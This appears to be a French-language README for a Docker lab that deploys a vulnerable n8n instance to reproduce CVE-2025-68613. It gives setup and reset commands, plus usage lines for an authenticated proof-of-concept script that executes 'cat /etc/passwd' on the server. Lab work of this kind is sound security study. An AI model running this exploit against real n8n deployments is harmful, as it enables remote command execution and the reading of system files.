
Ce laboratoire fournit un environnement contrôlé pour analyser et reproduire CVE-2025-68613 dans une instance n8n vulnérable.
Ce dépôt contient un laboratoire de sécurité destiné strictement à des fins éducatives et éthiques.
L'auteur décline toute responsabilité en cas d'utilisation abusive des informations, configurations ou code de preuve de concept fournis dans ce dépôt.
Ce laboratoire déploie une instance vulnérable de n8n (v1.120.3) accompagnée d'une base de données PostgreSQL afin d'étudier et reproduire l'impact de CVE-2025-68613 dans un environnement contrôlé.
Le laboratoire est conçu pour :
Lorsque l'environnement est démarré pour la première fois, n8n demandera à l'utilisateur de créer un nouveau compte via l'interface web.
Vérifier l'installation :
docker --version
docker compose version
git clone https://github.com/LingerANR/n8n-CVE-2025-68613.git
cd n8n-CVE-2025-68613
docker compose build --no-cache
docker compose up -d
docker compose logs -f n8n
Accéder à l'interface web à l'adresse :
http://localhost:5678
Lors du premier accès, n8n demandera la création d'un nouveau compte utilisateur.
Ce laboratoire est destiné à être utilisé avec une preuve de concept personnalisée développée par l'auteur, qui démontre l'impact de CVE-2025-68613 dans des conditions authentifiées.
python3 CVE-2025-68613.py -u http://localhost:5678 -e '[email protected]' -p '.Tester123' --command 'cat /etc/passwd'
python3 CVE-2025-68613.py -u http://localhost:5678 -e '[email protected]' -p '.Tester123' --command 'cat /etc/passwd' --proxy 'http://127.0.0.1:8080'
| Paramètre | Description |
|---|---|
-u | URL de l'instance n8n |
-e | E-mail d'un utilisateur authentifié valide |
-p | Mot de passe de l'utilisateur |
--command | Commande exécutée dans le contexte vulnérable |
Le PoC ne doit être exécuté que contre ce laboratoire.
Pour réinitialiser entièrement le laboratoire (conteneurs, volumes et données) :
docker compose down -v --remove-orphans
Puis reconstruire :
docker compose up -d --build
Ce laboratoire existe pour :
Tous les tests doivent être effectués de manière responsable et légale.